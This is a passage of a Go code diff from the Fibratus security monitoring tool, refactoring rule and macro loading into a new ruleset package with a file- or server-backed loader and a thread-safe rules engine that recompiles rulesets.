multierror.Wrap(errs...)) } return nil } -func isValidExt(path string) bool { - return filepath.Ext(path) == ".yml" || filepath.Ext(path) == ".yaml" -} - -// LoadFilters loads rules from YAML files or URL addresses. -func (f *Filters) LoadFilters() error { - f.filters = make([]*FilterConfig, 0) - ids := make(map[string]bool) - - for _, p := range f.Rules.FromPaths { - paths, err := filepath.Glob(p) - if err != nil { - return err - } - for _, path := range paths { - if !isValidExt(path) { - continue - } - log.Infof("loading rule from %s", path) - // read the rule file and decode to filter config - rawConfig, err := os.ReadFile(path) - if err != nil { - return fmt.Errorf("couldn't load rule file: %s: %v", path, err) - } - flt, err := decodeFilter(path, rawConfig) - if err != nil { - return err - } - if ids[flt.ID] { - return fmt.Errorf("%q rule uses duplicate id %s", flt.Name, flt.ID) - } - ids[flt.ID] = true - f.filters = append(f.filters, flt) - } - } - for _, url := range f.Rules.FromURLs { - log.Infof("loading rule from URL %s", url) - if _, err := u.Parse(url); err != nil { - return fmt.Errorf("%q is an invalid URL", url) - } - //nolint:noctx - resp, err := http.Get(url) - if err != nil { - return fmt.Errorf("cannot fetch rule file from %q: %v", url, err) - } - if resp.StatusCode != http.StatusOK { - _ = resp.Body.Close() - return fmt.Errorf("got non-ok status code for %q: %s", url, - http.StatusText(resp.StatusCode)) - } - - var rawConfig bytes.Buffer - _, err = io.Copy(&rawConfig, resp.Body) - _ = resp.Body.Close() - if err != nil { - return fmt.Errorf("cannot copy rule file from %q: %v", url, err) - } - flt, err := decodeFilter(url, rawConfig.Bytes()) - if err != nil { - return err - } - if ids[flt.ID] { - return fmt.Errorf("%q rule uses duplicate id %s", flt.Name, flt.ID) - } - ids[flt.ID] = true - f.filters = append(f.filters, flt) +func ValidateMacroSchema(path string, out any) error { + s, errs, err := validateSchema(macrosSchema, out) + if err != nil { + return err } - - if len(f.filters) == 0 { - log.Warnf("no rules were loaded from [%s] path(s)", strings.Join(f.Rules.FromPaths, ",")) + if len(errs) > 0 { + return fmt.Errorf("invalid macro definition: \n\n"+ + "%v in %s: %v", s, path, multierror.Wrap(errs...)) } - return nil } -func decodeFilter(resource string, b []byte) (*FilterConfig, error) { - var out interface{} - err := yaml.Unmarshal(b, &out) - if err != nil { - return nil, fmt.Errorf("%q is an invalid yaml file: %v", resource, err) - } - // apply validation to rule definition - valid, errs := validate(rulesSchema, out) +func validateSchema(schema string, out any) (string, []error, error) { + valid, errs := validate(schema, out) if !valid || len(errs) > 0 { - rawRule := out - b, err := yaml.Marshal(&rawRule) - if err == nil { - rawRule = string(b) + raw := out + b, err := yaml.Marshal(&raw) + if err != nil { + return "", errs, err } - return nil, fmt.Errorf("invalid rule definition: \n\n"+ - "%v in %s: %v", rawRule, resource, multierror.Wrap(errs...)) - } - // render template - b, err = renderTmpl(resource, b) - if err != nil { - return nil, err - } - // now unmarshal into typed filter config - var flt FilterConfig - if err := yaml.Unmarshal(b, &flt); err != nil { - return nil, err - } - return &flt, nil -} - -// renderTmpl executes templating directives in the -// rule yaml file. It returns the byte slice -// with yaml content after template expansion. -func renderTmpl(filename string, b []byte) ([]byte, error) { - tmpl, err := template.New(filename).Funcs(sprig.FuncMap()).Parse(string(b)) - if err != nil { - return nil, cleanupParseError(filename, err) - } - var w bytes.Buffer - // force strict keys presence - tmpl.Option("missingkey=error") - err = tmpl.Execute(&w, nil) - if err != nil { - return nil, cleanupParseError(filename, err) - } - return w.Bytes(), nil -} - -func cleanupParseError(filename string, err error) error { - if err == nil { - return nil - } - tokens := strings.Split(err.Error(), ": ") - if len(tokens) < 2 { - // This might happen if a non-templating error occurs - return fmt.Errorf("syntax error in (%s): %s", filename, err) - } - // The first token is "template" - // The second token is either "filename:lineno" or "filename:lineNo:columnNo" - location := tokens[1] - key := tokens[2] - i := strings.Index(key, "at") - if i > 0 { - key = key[i+3:] - } - var errMsg string - if len(tokens) > 4 { - errMsg = strings.Join(tokens[3:], ": ") - } else { - errMsg = tokens[len(tokens)-1] + return string(b), errs, nil } - return fmt.Errorf("syntax error in (%s) at %s: %s", location, key, errMsg) + return "", nil, nil } diff --git a/pkg/config/output.go b/pkg/config/output.go index 478ac4b2b..d3a2d8493 100644 --- a/pkg/config/output.go +++ b/pkg/config/output.go @@ -78,7 +78,7 @@ func (c *Config) tryLoadOutput() error { switch outputs.TypeFromString(typ) { case outputs.Console: var consoleConfig console.Config - if err := decode(config, &consoleConfig); err != nil { + if err := Decode(config, &consoleConfig); err != nil { return errOutputConfig(typ, err) } if !consoleConfig.Enabled { @@ -88,7 +88,7 @@ func (c *Config) tryLoadOutput() error { case outputs.AMQP: var amqpConfig amqp.Config - if err := decode(config, &amqpConfig); err != nil { + if err := Decode(config, &amqpConfig); err != nil { return errOutputConfig(typ, err) } if !amqpConfig.Enabled { @@ -98,7 +98,7 @@ func (c *Config) tryLoadOutput() error { case outputs.Elasticsearch: var esConfig elasticsearch.Config - if err := decode(config, &esConfig); err != nil { + if err := Decode(config, &esConfig); err != nil { return errOutputConfig(typ, err) } if !esConfig.Enabled { @@ -108,7 +108,7 @@ func (c *Config) tryLoadOutput() error { case outputs.HTTP: var httpConfig http.Config - if err := decode(config, &httpConfig); err != nil { + if err := Decode(config, &httpConfig); err != nil { return errOutputConfig(typ, err) } if !httpConfig.Enabled { @@ -118,7 +118,7 @@ func (c *Config) tryLoadOutput() error { case outputs.Eventlog: var eventlogConfig eventlog.Config - if err := decode(config, &eventlogConfig); err != nil { + if err := Decode(config, &eventlogConfig); err != nil { return errOutputConfig(typ, err) } if !eventlogConfig.Enabled { diff --git a/pkg/config/server.go b/pkg/config/server.go new file mode 100644 index 000000000..0e7225f7c --- /dev/null +++ b/pkg/config/server.go @@ -0,0 +1,23 @@ +/* + * Copyright 2020-2021 by Nedim Sabic Sabic + * https://www.fibratus.io + * All Rights Reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + package config + + type ServerConfig struct { + Enabled bool + } diff --git a/pkg/config/transformer.go b/pkg/config/transformer.go index 24b5df7d6..73d9d15d9 100644 --- a/pkg/config/transformer.go +++ b/pkg/config/transformer.go @@ -20,13 +20,14 @@ package config import ( "fmt" + "reflect" + "github.com/rabbitstack/fibratus/pkg/aggregator/transformers" "github.com/rabbitstack/fibratus/pkg/aggregator/transformers/remove" "github.com/rabbitstack/fibratus/pkg/aggregator/transformers/rename" "github.com/rabbitstack/fibratus/pkg/aggregator/transformers/replace" "github.com/rabbitstack/fibratus/pkg/aggregator/transformers/tags" "github.com/rabbitstack/fibratus/pkg/aggregator/transformers/trim" - "reflect" ) var errTransformerConfig = func(t string, err error) error { return fmt.Errorf("%s transformer invalid config: %v", t, err) } @@ -47,7 +48,7 @@ func (c *Config) tryLoadTransformers() error { switch typ { case "remove": var removeConfig remove.Config - if err := decode(config, &removeConfig); err != nil { + if err := Decode(config, &removeConfig); err != nil { return errTransformerConfig(typ, err) } if !removeConfig.Enabled { @@ -61,7 +62,7 @@ func (c *Config) tryLoadTransformers() error { case "rename": var renameConfig rename.Config - if err := decode(config, &renameConfig); err != nil { + if err := Decode(config, &renameConfig); err != nil { return errTransformerConfig(typ, err) } if !renameConfig.Enabled { @@ -75,7 +76,7 @@ func (c *Config) tryLoadTransformers() error { case "replace": var replaceConfig replace.Config - if err := decode(config, &replaceConfig); err != nil { + if err := Decode(config, &replaceConfig); err != nil { return errTransformerConfig(typ, err) } if !replaceConfig.Enabled { @@ -89,7 +90,7 @@ func (c *Config) tryLoadTransformers() error { case "trim": var trimConfig trim.Config - if err := decode(config, &trimConfig); err != nil { + if err := Decode(config, &trimConfig); err != nil { return errTransformerConfig(typ, err) } if !trimConfig.Enabled { @@ -103,7 +104,7 @@ func (c *Config) tryLoadTransformers() error { case "tags": var tagsConfig tags.Config - if err := decode(config, &tagsConfig); err != nil { + if err := Decode(config, &tagsConfig); err != nil { return errTransformerConfig(typ, err) } if !tagsConfig.Enabled { diff --git a/pkg/filter/filter_windows.go b/pkg/filter/filter_windows.go index 007d14b76..d92f46b3a 100644 --- a/pkg/filter/filter_windows.go +++ b/pkg/filter/filter_windows.go @@ -20,11 +20,13 @@ package filter import ( "fmt" + "strings" + "github.com/rabbitstack/fibratus/pkg/config" "github.com/rabbitstack/fibratus/pkg/filter/fields" "github.com/rabbitstack/fibratus/pkg/filter/ql" "github.com/rabbitstack/fibratus/pkg/ps" - "strings" + "github.com/rabbitstack/fibratus/pkg/ruleset" ) type opts struct { @@ -44,7 +46,7 @@ func WithPSnapshotter(psnap ps.Snapshotter) Option { // New creates a new filter with the specified filter expression. The consumers must ensure // the expression is correctly parsed before executing the filter. This is achieved by calling the // `Compile` method after constructing the filter. -func New(expr string, config *config.Config, options ...Option) Filter { +func New(expr string, config *config.Config, rs *ruleset.RuleSet, options ...Option) Filter { var opts opts for _, opt := range options { opt(&opts) @@ -58,8 +60,6 @@ func New(expr string, config *config.Config, options ...Option) Filter { newPEAccessor(), } - fconfig := config.Filters - if config.EventSource.EnableThreadEvents { accessors = append(accessors, newThreadAccessor()) } @@ -89,8 +89,8 @@ func New(expr string, config *config.Config, options ...Option) Filter { } var parser *ql.Parser - if fconfig.HasMacros() { - parser = ql.NewParserWithConfig(expr, fconfig) + if rs != nil && rs.HasMacros() { + parser = ql.NewParserWithRuleSet(expr, rs) } else { parser = ql.NewParser(expr) } @@ -112,7 +112,7 @@ func NewFromCLI(args []string, config *config.Config) (Filter, error) { if expr == "" { return nil, nil } - filter := New(expr, config) + filter := New(expr, config, nil) if err := filter.Compile(); err != nil { return nil, fmt.Errorf("bad filter:\n%v", err) } diff --git a/pkg/filter/ql/parser.go b/pkg/filter/ql/parser.go index 536e20578..f6261bc7c 100644 --- a/pkg/filter/ql/parser.go +++ b/pkg/filter/ql/parser.go @@ -23,19 +23,20 @@ package ql import ( "errors" "fmt" - "github.com/rabbitstack/fibratus/pkg/config" - "github.com/rabbitstack/fibratus/pkg/filter/fields" - "github.com/rabbitstack/fibratus/pkg/util/multierror" "net" "strconv" "strings" "time" + + "github.com/rabbitstack/fibratus/pkg/filter/fields" + "github.com/rabbitstack/fibratus/pkg/ruleset" + "github.com/rabbitstack/fibratus/pkg/util/multierror" ) // Parser builds the binary expression tree from the filter string. type Parser struct { s *bufScanner - c *config.Filters + rs *ruleset.RuleSet expr string } @@ -44,9 +45,9 @@ func NewParser(expr string) *Parser { return &Parser{s: newBufScanner(strings.NewReader(expr)), expr: expr} } -// NewParserWithConfig builds a new parser instance with filters config. -func NewParserWithConfig(expr string, config *config.Filters) *Parser { - return &Parser{s: newBufScanner(strings.NewReader(expr)), expr: expr, c: config} +// NewParserWithRuleSet builds a new parser instance with ruleset. +func NewParserWithRuleSet(expr string, rs *ruleset.RuleSet) *Parser { + return &Parser{s: newBufScanner(strings.NewReader(expr)), expr: expr, rs: rs} } // ParseSequence parses the collection of binary expressions with possible join @@ -194,7 +195,7 @@ func (p *Parser) ParseExpr() (Expr, error) { // expect LPAREN after in tok, pos, lit := p.scanIgnoreWhitespace() p.unscan() - if tok != Lparen && (p.c != nil && !p.c.IsMacroList(lit)) { + if tok != Lparen && (p.rs != nil && !p.rs.IsMacroList(lit)) { return nil, newParseError(tokstr(op, lit), []string{"'('"}, pos, p.expr) } } @@ -304,11 +305,11 @@ func (p *Parser) parseUnaryExpr() (Expr, error) { p.unscan() // expand macros - if p.c != nil { - macro := p.c.GetMacro(lit) + if p.rs != nil { + macro := p.rs.GetMacro(lit) if macro != nil { if macro.Expr != "" { - p := NewParserWithConfig(macro.Expr, p.c) + p := NewParserWithRuleSet(macro.Expr, p.rs) expr, err := p.ParseExpr() if err != nil { return nil, multierror.WrapWithSeparator("\n", fmt.Errorf("syntax error in %q macro", lit), err) diff --git a/pkg/rules/action/alert.go b/pkg/rules/action/alert.go index e6edfe218..9b99dfd8a 100644 --- a/pkg/rules/action/alert.go +++ b/pkg/rules/action/alert.go @@ -20,15 +20,16 @@ package action import ( "fmt" + "strings" + "github.com/rabbitstack/fibratus/pkg/alertsender" - "github.com/rabbitstack/fibratus/pkg/config" + "github.com/rabbitstack/fibratus/pkg/ruleset" "github.com/rabbitstack/fibratus/pkg/util/markdown" log "github.com/sirupsen/logrus" - "strings" ) // Alert sends the rule alert via all configured alert senders. -func Alert(ctx *config.ActionContext, title string, text string, severity string, tags []string) error { +func Alert(ctx *ruleset.ActionContext, title string, text string, severity string, tags []string) error { var b strings.Builder for _, evt := range ctx.Events { b.WriteString(evt.String()) @@ -49,10 +50,10 @@ func Alert(ctx *config.ActionContext, title string, text string, severity string alertsender.ParseSeverityFromString(severity), ) - alert.ID = ctx.Filter.ID + alert.ID = ctx.Rule.ID alert.Events = ctx.Events - alert.Labels = ctx.Filter.Labels - alert.Description = ctx.Filter.Description + alert.Labels = ctx.Rule.Labels + alert.Description = ctx.Rule.Description // strip markdown if not supported by the sender if !sender.SupportsMarkdown() { diff --git a/pkg/rules/compiler.go b/pkg/rules/compiler.go index 8b038a810..c2e78e376 100644 --- a/pkg/rules/compiler.go +++ b/pkg/rules/compiler.go @@ -21,12 +21,14 @@ package rules import ( "expvar" "fmt" + semver "github.com/hashicorp/go-version" "github.com/rabbitstack/fibratus/pkg/config" "github.com/rabbitstack/fibratus/pkg/event" "github.com/rabbitstack/fibratus/pkg/filter" "github.com/rabbitstack/fibratus/pkg/filter/fields" "github.com/rabbitstack/fibratus/pkg/ps" + "github.com/rabbitstack/fibratus/pkg/ruleset" "github.com/rabbitstack/fibratus/pkg/util/version" log "github.com/sirupsen/logrus" ) @@ -61,38 +63,35 @@ func newCompiler(psnap ps.Snapshotter, config *config.Config) *compiler { return &compiler{psnap: psnap, config: config} } -func (c *compiler) compile() (map[*config.FilterConfig]filter.Filter, *config.RulesCompileResult, error) { - if err := c.config.Filters.LoadMacros(); err != nil { - return nil, nil, err - } - if err := c.config.Filters.LoadFilters(); err != nil { - return nil, nil, err - } - - filters := make(map[*config.FilterConfig]filter.Filter) +func (c *compiler) compile(rs *ruleset.RuleSet) (map[*ruleset.Rule]filter.Filter, *ruleset.CompileResult, error) { + filtersCount.Set(0) + filters := make(map[*ruleset.Rule]filter.Filter) - for _, f := range c.config.GetFilters() { - if f.IsDisabled() { - log.Warnf("[%s] rule is disabled", f.Name) + for _, r := range rs.Rules { + if !r.IsBehaviour() { + continue + } + if r.IsDisabled() { + log.Warnf("[%s] rule is disabled", r.Name) continue } filtersCount.Add(1) // compile the filter - fltr := filter.New(f.Condition, c.config, filter.WithPSnapshotter(c.psnap)) + fltr := filter.New(r.Condition, c.config, rs, filter.WithPSnapshotter(c.psnap)) err := fltr.Compile() if err != nil { - return nil, nil, ErrInvalidFilter(f.Name, err) + return nil, nil, ErrInvalidFilter(r.Name, err) } // check version requirements if !version.IsDev() { - minEngineVer, err := semver.NewSemver(f.MinEngineVersion) + minEngineVer, err := semver.NewSemver(r.MinEngineVersion) if err != nil { - return nil, nil, ErrMalformedMinEngineVer(f.Name, f.MinEngineVersion, err) + return nil, nil, ErrMalformedMinEngineVer(r.Name, r.MinEngineVersion, err) } if minEngineVer.GreaterThan(version.Sem()) { - return nil, nil, ErrIncompatibleFilter(f.Name, f.MinEngineVersion) + return nil, nil, ErrIncompatibleFilter(r.Name, r.MinEngineVersion) } } @@ -104,7 +103,7 @@ func (c *compiler) compile() (map[*config.FilterConfig]filter.Filter, *config.Ru "was deprecated starting from version %s. "+ "Please consider migrating to %s field(s) "+ "because [%s] will be removed in future versions.", - f.Name, field.Name, d.Since, d.Fields, field.Name) + r.Name, field.Name, d.Since, d.Fields, field.Name) } } @@ -114,17 +113,17 @@ func (c *compiler) compile() (map[*config.FilterConfig]filter.Filter, *config.Ru switch field { case fields.EvtName, fields.KevtName: if !event.IsKnown(v) { - return nil, nil, ErrUnknownEventName(f.Name, v) + return nil, nil, ErrUnknownEventName(r.Name, v) } case fields.EvtCategory, fields.KevtCategory: if !event.IsCategoryKnown(v) { - return nil, nil, ErrUnknownCategoryName(f.Name, v) + return nil, nil, ErrUnknownCategoryName(r.Name, v) } } } } - filters[f] = fltr + filters[r] = fltr } if len(filters) == 0 { @@ -134,8 +133,8 @@ func (c *compiler) compile() (map[*config.FilterConfig]filter.Filter, *config.Ru return filters, c.buildCompileResult(filters), nil } -func (c *compiler) buildCompileResult(filters map[*config.FilterConfig]filter.Filter) *config.RulesCompileResult { - rs := &config.RulesCompileResult{} +func (c *compiler) buildCompileResult(filters map[*ruleset.Rule]filter.Filter) *ruleset.CompileResult { + rs := &ruleset.CompileResult{} m := make(map[event.Type]bool) events := make([]event.Type, 0) diff --git a/pkg/rules/engine.go b/pkg/rules/engine.go index a3803d301..d483663f3 100644 --- a/pkg/rules/engine.go +++ b/pkg/rules/engine.go @@ -21,27 +21,29 @@ package rules import ( "expvar" "fmt" + "sync" + "time" + "github.com/rabbitstack/fibratus/pkg/config" "github.com/rabbitstack/fibratus/pkg/event" "github.com/rabbitstack/fibratus/pkg/filter" "github.com/rabbitstack/fibratus/pkg/filter/fields" "github.com/rabbitstack/fibratus/pkg/ps" "github.com/rabbitstack/fibratus/pkg/rules/action" + "github.com/rabbitstack/fibratus/pkg/ruleset" log "github.com/sirupsen/logrus" - "sync" - "time" ) // RuleMatchFunc is rule match function definition. It accepts // the filter (rule) config and the group of events that fired // the rule -type RuleMatchFunc func(f *config.FilterConfig, evts ...*event.Event) +type RuleMatchFunc func(*ruleset.Rule, ...*event.Event) var ( // sequenceGcInterval determines how often sequence GC kicks in sequenceGcInterval = time.Minute - filterMatches = expvar.NewMap("filter.matches") + ruleMatches = expvar.NewMap("rule.matches") ErrRuleAction = func(rule string, err error) error { return fmt.Errorf("fail to execute action for %q rule: %v", rule, err) @@ -52,6 +54,7 @@ var ( // the collection of compiled filters that are derived // from the loaded ruleset. type Engine struct { + sync.RWMutex filters *filterset config *config.Config psnap ps.Snapshotter @@ -68,12 +71,12 @@ type Engine struct { } type ruleMatch struct { - ctx *config.ActionContext + ctx *ruleset.ActionContext } type compiledFilter struct { filter filter.Filter - config *config.FilterConfig + rule *ruleset.Rule ss *sequenceState } @@ -102,8 +105,13 @@ func (f *filterset) collect(e *event.Event) []*compiledFilter { return append(f.types[e.Type], f.categories[e.Category.Index()]...) } -func newCompiledFilter(f filter.Filter, c *config.FilterConfig, ss *sequenceState) *compiledFilter { - return &compiledFilter{filter: f, config: c, ss: ss} +func (f *filterset) clear() { + f.types = make(map[event.Type][]*compiledFilter) + f.categories = make(map[uint8][]*compiledFilter) +} + +func newCompiledFilter(f filter.Filter, r *ruleset.Rule, ss *sequenceState) *compiledFilter { + return &compiledFilter{filter: f, rule: r, ss: ss} } // isScoped determines if this filter is scoped, i.e. it has the event name or category @@ -129,15 +137,15 @@ func (f *compiledFilter) run(e *event.Event) bool { } // NewEngine builds a fresh rules engine instance. -func NewEngine(psnap ps.Snapshotter, config *config.Config) *Engine { +func NewEngine(psnap ps.Snapshotter, c *config.Config) *Engine { e := &Engine{ filters: newFilterset(), matches: make([]*ruleMatch, 0), sequences: make([]*sequenceState, 0), psnap: psnap, - config: config, + config: c, scavenger: time.NewTicker(sequenceGcInterval), - compiler: newCompiler(psnap, config), + compiler: newCompiler(psnap, c), } go e.gcSequences() @@ -154,22 +162,25 @@ func (e *Engine) gcSequences() { } } -// Compile loads macros/rules and builds an indexable filter set. +// Compile builds an indexable filter set from the given ruleset. // For every rule in the ruleset the condition is compiled and // converted into a filter. The filter is indexed by either the // event name or event category. -func (e *Engine) Compile() (*config.RulesCompileResult, error) { - filters, rs, err := e.compiler.compile() +func (e *Engine) Compile(rs *ruleset.RuleSet) (*ruleset.CompileResult, error) { + filters, rcr, err := e.compiler.compile(rs) if err != nil { return nil, err } - for c, f := range filters { + e.Lock() + defer e.Unlock() + e.filters.clear() + for r, f := range filters { var ss *sequenceState if f.IsSequence() { - ss = newSequenceState(f, c, e.psnap) + ss = newSequenceState(f, r, e.psnap) } - fltr := newCompiledFilter(f, c, ss) + fltr := newCompiledFilter(f, r, ss) if ss != nil { // store the sequences in engine // for more convenient tracking @@ -183,7 +194,7 @@ func (e *Engine) Compile() (*config.RulesCompileResult, error) { "the engine. Please consider narrowing the "+ "scope of the rule by including the `evt.name` "+ "or `evt.category` condition", - c.Name) + r.Name) continue } @@ -206,7 +217,7 @@ func (e *Engine) Compile() (*config.RulesCompileResult, error) { } } - return rs, nil + return rcr, nil } func (e *Engine) RegisterMatchFunc(fn RuleMatchFunc) { @@ -220,10 +231,6 @@ func (*Engine) CanEnqueue() bool { return true } // Filters can be simple direct-event matchers or sequence states that // track an ordered series of events over a short period of time. func (e *Engine) ProcessEvent(evt *event.Event) (bool, error) { - if e.filters.empty() { - return true, nil - } - if evt.IsTerminateProcess() { // expire all sequences if the // process referenced in any @@ -233,7 +240,9 @@ func (e *Engine) ProcessEvent(evt *event.Event) (bool, error) { } } + e.RLock() filters := e.filters.collect(evt) + e.RUnlock() var matches bool for _, f := range filters { @@ -242,10 +251,10 @@ func (e *Engine) ProcessEvent(evt *event.Event) (bool, error) { continue } if f.isSequence() { - e.appendMatch(f.config, f.ss.events()...) + e.appendMatch(f.rule, f.ss.events()...) f.ss.clearLocked() } else { - e.appendMatch(f.config, evt) + e.appendMatch(f.rule, evt) } err := e.processActions() if err != nil { @@ -275,30 +284,30 @@ func (e *Engine) processActions() error { e.mmu.Lock() defer e.mmu.Unlock() for _, m := range e.matches { - f, evts := m.ctx.Filter, m.ctx.Events - filterMatches.Add(f.Name, 1) - log.Debugf("[%s] rule matched", f.Name) - err := action.Alert(m.ctx, f.Name, filter.InterpolateFields(f.Output, evts), f.Severity, f.Tags) + rule, evts := m.ctx.Rule, m.ctx.Events + ruleMatches.Add(rule.Name, 1) + log.Debugf("[%s] rule matched", rule.Name) + err := action.Alert(m.ctx, rule.Name, filter.InterpolateFields(rule.Output, evts), rule.Severity, rule.Tags) if err != nil { - return ErrRuleAction(f.Name, err) + return ErrRuleAction(rule.Name, err) } - actions, err := f.DecodeActions() + actions, err := rule.DecodeActions() if err != nil { return err } for _, act := range actions { switch t := act.(type) { - case config.KillAction: - log.Infof("executing kill action: pids=%v rule=%s", m.ctx.UniquePids(), f.Name) + case ruleset.KillAction: + log.Infof("executing kill action: pids=%v rule=%s", m.ctx.UniquePids(), rule.Name) if err := action.Kill(m.ctx.UniquePids()); err != nil { - return ErrRuleAction(f.Name, err) + return ErrRuleAction(rule.Name, err) } - case config.IsolateAction: - log.Infof("executing isolate action: rule=%s", f.Name) + case ruleset.IsolateAction: + log.Infof("executing isolate action: rule=%s", rule.Name) if err := action.Isolate(t.Whitelist); err != nil { - return ErrRuleAction(f.Name, err) + return ErrRuleAction(rule.Name, err) } } } @@ -307,22 +316,22 @@ func (e *Engine) processActions() error { return nil } -func (e *Engine) appendMatch(f *config.FilterConfig, evts ...*event.Event) { +func (e *Engine) appendMatch(rule *ruleset.Rule, evts ...*event.Event) { for _, evt := range evts { - evt.AddMeta(event.RuleNameKey, f.Name) - for k, v := range f.Labels { + evt.AddMeta(event.RuleNameKey, rule.Name) + for k, v := range rule.Labels { evt.AddMeta(event.MetadataKey(k), v) } } - ctx := &config.ActionContext{ + ctx := &ruleset.ActionContext{ Events: evts, - Filter: f, + Rule: rule, } e.mmu.Lock() defer e.mmu.Unlock() e.matches = append(e.matches, &ruleMatch{ctx: ctx}) if e.matchFunc != nil { - e.matchFunc(f, evts...) + e.matchFunc(rule, evts...) } } diff --git a/pkg/rules/loader.go b/pkg/rules/loader.go new file mode 100644 index 000000000..9710be878 --- /dev/null +++ b/pkg/rules/loader.go @@ -0,0 +1,326 @@ +/* + * Copyright 2021-present by Nedim Sabic Sabic + * https://www.fibratus.io + * All Rights Reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package rules + +import ( + "bytes" + "context" + "fmt" + "os" + "path/filepath" + "strings" + "sync" + "text/template" + "time" + + "github.com/Masterminds/sprig/v3" + "github.com/rabbitstack/fibratus/pkg/client" + "github.com/rabbitstack/fibratus/pkg/config" + "github.com/rabbitstack/fibratus/pkg/ruleset" + log "github.com/sirupsen/logrus" + "gopkg.in/yaml.v2" +) + +type opts struct { + remoteStore bool + rulePaths []string + macroPaths []string + remoteStoreTimeout time.Duration +} + +type LoaderOption func(o *opts) + +func WithRemoteStore() LoaderOption { + return func(o *opts) { + o.remoteStore = true + } +} + +func WithRulePaths(paths ...string) LoaderOption { + return func(o *opts) { + o.rulePaths = paths + } +} + +func WithMacroPaths(paths ...string) LoaderOption { + return func(o *opts) { + o.macroPaths = paths + } +} + +func WithRemoteStoreTimeout(timeout time.Duration) LoaderOption { + return func(o *opts) { + o.remoteStoreTimeout = timeout + } +} + +type Loader struct { + // client represents the remote client for communicating with the server + client client.Client + + subs []ruleset.Subscriber + mu sync.Mutex + + // resultq channel is where ruleset compile results are pushed + resultq chan<- *ruleset.CompileResult + cerrq chan<- error + // rulesetq channel receives ruleset responses from the server + rulesetq <-chan *ruleset.RuleSet + errq <-chan error +} + +func NewLoader() *Loader { + return &Loader{ + subs: make([]ruleset.Subscriber, 0), + resultq: make(chan *ruleset.CompileResult, 10), + cerrq: make(chan error), + rulesetq: make(chan *ruleset.RuleSet), + errq: make(chan error), + } +} + +func NewLoaderWithClient(client client.Client) *Loader { + return &Loader{ + client: client, + subs: make([]ruleset.Subscriber, 0), + resultq: make(chan *ruleset.CompileResult, 10), + cerrq: make(chan error), + rulesetq: make(chan *ruleset.RuleSet), + errq: make(chan error), + } +} + +func (l *Loader) Load(ctx context.Context, options ...LoaderOption) (*ruleset.RuleSet, error) { + var opts opts + + for _, opt := range options { + opt(&opts) + } + + if opts.remoteStoreTimeout == 0 { + opts.remoteStoreTimeout = time.Minute * 15 + } + + if opts.remoteStore && l.client != nil { + l.rulesetq, l.errq = l.client.WatchRules(ctx) + go l.subscribe(ctx) + ctx, cancel := context.WithTimeout(ctx, opts.remoteStoreTimeout) + defer cancel() + return l.client.ListRules(ctx, &client.RuleListOptions{WithBackoff: true, MaxBackoff: opts.remoteStoreTimeout}) + } + + return l.loadFromFS(opts) +} + +func (l *Loader) RegisterSubscriber(subscriber ruleset.Subscriber) { + l.mu.Lock() + defer l.mu.Unlock() + l.subs = append(l.subs, subscriber) +} + +// subscribe watches for ruleset requests from the provided channel +// and attempts to recompile the rule set. If the rule compilation +// succeeds, the compile result is sent over the channel. Otherwise, +// the error is pushed to the channel. +func (l *Loader) subscribe(ctx context.Context) { + for { + select { + case rs := <-l.rulesetq: + l.mu.Lock() + for _, sub := range l.subs { + log.Infof("recompiling ruleset...") + res, err := sub.Compile(rs) + if err != nil { + l.cerrq <- err + continue + } + select { + case l.resultq <- res: + default: + } + } + l.mu.Unlock() + case err := <-l.errq: + if err != nil { + log.Error(err) + } + case <-ctx.Done(): + return + } + } +} + +// loadFromFS loads macros and rules from the local YAML files +// and builds the rule set. +// The Go templates are applied on each macro/rule file before +// running the YAML decoder on them. +func (l *Loader) loadFromFS(opts opts) (*ruleset.RuleSet, error) { + var ( + rs = ruleset.New() + ids = make(map[string]bool) + ) + + if err := l.globPaths(opts.macroPaths, func(path string) error { + log.Infof("loading macros from file %s", path) + buf, err := l.loadFromYAML(path, true) + if err != nil { + return err + } + return unmarshalMacros(buf, rs) + }); err != nil { + return nil, err + } + + if err := l.globPaths(opts.rulePaths, func(path string) error { + log.Infof("loading rule from %s", path) + buf, err := l.loadFromYAML(path, false) + if err != nil { + return err + } + rule, err := unmarshalRule(buf, rs) + if err != nil { + return err + } + + checkDuplicateID := func() error { + if ids[rule.ID] { + return fmt.Errorf("%q rule uses duplicate id %s", rule.Name, rule.ID) + } + ids[rule.ID] = true + return nil + } + + return checkDuplicateID() + }); err != nil { + return nil, err + } + + return rs, nil +} + +func isValidExt(path string) bool { + return filepath.Ext(path) == ".yml" || filepath.Ext(path) == ".yaml" +} + +func unmarshalMacros(b []byte, rs *ruleset.RuleSet) error { + var macros []ruleset.Macro + if err := yaml.Unmarshal(b, ¯os); err != nil { + return err + } + rs.AddMacros(macros...) + return nil +} + +func unmarshalRule(b []byte, rs *ruleset.RuleSet) (*ruleset.Rule, error) { + var rule ruleset.Rule + if err := yaml.Unmarshal(b, &rule); err != nil { + return nil, err + } + // explicitly set the type to behaviour rule + rule.Type = ruleset.BehaviourRule + rs.AddRule(&rule) + return &rule, nil +} + +func (l *Loader) globPaths(paths []string, f func(string) error) error { + for _, p := range paths { + globs, err := filepath.Glob(p) + if err != nil { + return err + } + for _, path := range globs { + if !isValidExt(path) { + continue + } + if err := f(path); err != nil { + return err + } + } + } + return nil +} + +func (l *Loader) loadFromYAML(path string, isMacro bool) ([]byte, error) { + buf, err := os.ReadFile(path) + if err != nil { + return nil, fmt.Errorf("couldn't load resource from file: %v", err) + } + var out interface{} + if err := yaml.Unmarshal(buf, &out); err != nil { + return nil, fmt.Errorf("%q is an invalid yaml file: %v", path, err) + } + switch isMacro { + case true: + // apply validation to macro definition + if err := config.ValidateMacroSchema(path, out); err != nil { + return nil, err + } + case false: + // apply validation to rule definition + if err := config.ValidateRuleSchema(path, out); err != nil { + return nil, err + } + } + // render template + return renderTmpl(path, 